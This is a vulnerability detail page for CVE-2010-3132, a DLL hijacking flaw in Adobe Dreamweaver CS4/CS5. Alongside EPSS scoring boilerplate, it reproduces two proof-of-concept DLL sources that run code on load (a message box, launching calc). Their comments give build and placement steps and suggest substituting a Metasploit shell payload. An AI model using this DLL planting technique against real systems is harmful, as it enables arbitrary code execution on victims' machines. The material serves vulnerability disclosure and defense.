CVE-2010-3132 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* Exploit Title: Adobe Dreamweaver CS4 DLL Hijacking Exploit (ibfs32.dll) Date: August 25, 2010 Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com) Version: 10.0 Build 4117 Tested on: Windows 7 Ultimate x86 Vulnerable extensions: .asp .asa. aspx .php .php5 .cfm .tpl .asr .jsp (etc) Greetz: Astalavista, OffSEC, Exploit-DB */ #include <windows.h> #define DllExport __declspec (dllexport) BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { dll_hijack(); return 0; } int dll_hijack() { MessageBox(0, "Dreamweaver DLL Hijacking!", "DLL Message", MB_OK); return 0; }

/* # Exploit Title: Adobe Dreamweaver CS5 DLL Hijacking Exploit (mfc90loc.dll) # Date: 25/08/2010 # Author: Bruno Filipe (diwr) http://digitalacropolis.us # Software Link: http://www.adobe.com <http://www.bsplayer.org> # Version: <= 11.0 build 4909 # Tested on: WinXP SP2, WinXP SP3 # Other Adobe CS5 products may be vulnerable too. # Thx TheLeader ;) # ---------------------------------------------------------------------------------------------------------- # This should work with any file handled by Dreamweaver (.php, .asp, etc) # 1. gcc dllmain.c -o mfc90loc.dll # 2. Put mfc90ptb.dll in the same directory of a file handled by Dw (EG: anything.php) # 3. You can generate a msfpayload DLL and spawn a shell, for example. # ---------------------------------------------------------------------------------------------------------- */ #include <windows.h> int main() { WinExec("calc", SW_NORMAL); exit(0); return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) { main(); return 0; }